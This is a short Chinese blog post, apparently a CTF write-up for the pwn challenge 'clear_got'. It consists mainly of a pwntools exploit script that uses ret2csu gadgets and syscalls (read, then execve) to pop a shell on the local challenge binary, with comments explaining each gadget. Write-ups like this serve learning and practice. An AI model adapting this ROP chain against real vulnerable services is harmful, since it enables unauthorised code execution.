最近博客調(diào)整好了,會(huì)優(yōu)先在博客更新,簡(jiǎn)書(shū)這邊不能用別的圖床,以前的老文章沒(méi)法更新了,新文章還是會(huì)同步
CyMの學(xué)習(xí)日志 - 獅子之心 (e4l4.com)
這個(gè)比賽之前因?yàn)橐恍┦聸](méi)復(fù)現(xiàn)完,有時(shí)間再?gòu)?fù)現(xiàn)
clear_got(ret2csu/ret2syscall read+execve一波流)
溢出空間足夠大,且自帶syscall不考慮泄露地址
csu這一段不同程序略有不同
這是這道題的↓
from pwn import *
# context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
p = process('clear_got')
elf = ELF('clear_got')
# libc = ELF('./libc64.so')
payload = 'a'*0x68
payload += p64(0x4007EA)# gadget2
payload += p64(0xc01c8)
# 后邊會(huì)call bx*8 0xc01c8*8=0x600e40
# 里邊存放的是init函數(shù)的地址0x400520(進(jìn)行了一個(gè)rax是否為0的檢測(cè)然后ret)dym段
# 同理也可以跳轉(zhuǎn)到fini,0xc01ca*8=0x600e50 里面是0x400804(fini的地址)
payload += p64(0xc01c9)
payload += p64(0)
payload += p64(59)# sys_read執(zhí)行完后會(huì)將讀入的字節(jié)數(shù)存在rax中,59是execve
payload += p64(0x601060)# stdout 這里作一個(gè)輸入?yún)^(qū)
payload += p64(0)
payload += p64(0x4007D0)# gadget1
payload += 'a'*8# 前面有個(gè)壓低棧的行為,這里抬高,防止壓低影響寄存器取值
payload += p64(0xc020d)
# 這里*8 = 0x601068 即stdout+8
payload += p64(0xc020e)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0x601060)
payload += p64(0x40077e)# syscall->0->read
payload += p64(0x4007d0)# 再跑一次gadget1賦值
payload += 'e'*0x10# 填滿補(bǔ)齊0x100
success("len:"+hex(len(payload)))
# gdb.attach(p)
p.send(payload)
payload = "/bin/sh\x00" + p64(0x40077e) + "\x00"*43 # sys_call->59->execve
p.sendline(payload)# sys_read
p.interactive()